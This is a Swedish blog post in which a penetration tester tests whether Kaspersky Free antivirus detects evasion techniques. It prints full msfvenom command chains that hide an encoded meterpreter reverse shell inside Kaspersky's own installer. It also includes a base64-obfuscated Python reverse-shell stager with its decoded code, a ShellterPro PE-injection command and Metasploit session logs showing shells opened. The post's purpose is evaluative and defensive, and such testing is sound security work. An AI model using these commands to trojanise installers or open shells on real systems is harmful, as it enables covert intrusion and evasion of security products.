Test av gratis anti-virus från Kaspersky
Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.
Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.
Allmänna synpunkter om Kaspersky Free
Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.
Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?
Test 1: Testvirus Eicar vs Kaspersky
Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.
När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).
Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.
Test 2: Powershell implantat vs Kaspersky
Nu börjar det bli lite mer avancerat. I detta test tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.
Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:
Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG. Jag noterar också att den gratis IOC-skannern Loki detekterar detta.
Test 3: Metasploit vs Kaspersky
Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.
Jag använder msfvenom på följande sätt:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe
Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.
Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.
Detta var dock ingen match för Kaspersky att upptäcka:
Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443
Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.
Ser ut ungefär så här:
import base64,sys,socket,code,platform,shutil exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
Vilket motsvarar följande kod utan Base64-kodning:
import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('192.168.99.101',443)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)
När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:
[*] Sending stage (40747 bytes) to 192.168.99.100 [*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400 msf exploit(handler) > sessions -i 6 [*] Starting interaction with 6... meterpreter > sysinfo Computer : IE11Win8_1 OS : Windows 8.1 6.3.9600 Architecture : x86 Meterpreter : python/windows meterpreter >
Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.
Test 4: Shellter vs Kaspersky
Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).
Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.
Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:
- meterpreter_reverse_tcp
- meterpreter_reverse_http
- meterpreter_reverse_https
- meterpreter_bind_tcp
- shell_reverse_tcp
- shell_bind_tcp
- WinExec
Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:
- Meterpreter_Reverse_WINHTTP
- Meterpreter_Reverse_WINHTTPS
- Shell_Reverse_TCP_DNS
Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.
Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:
wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s
Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.
Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:
[*] Sending stage (956991 bytes) to 192.168.99.100 [*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400 msf exploit(handler) > msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > sysinfo Computer : IE11WIN8_1 OS : Windows 8.1 (Build 9600). Architecture : x86 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter >
Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:
Slutsats
Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.
Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.
Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.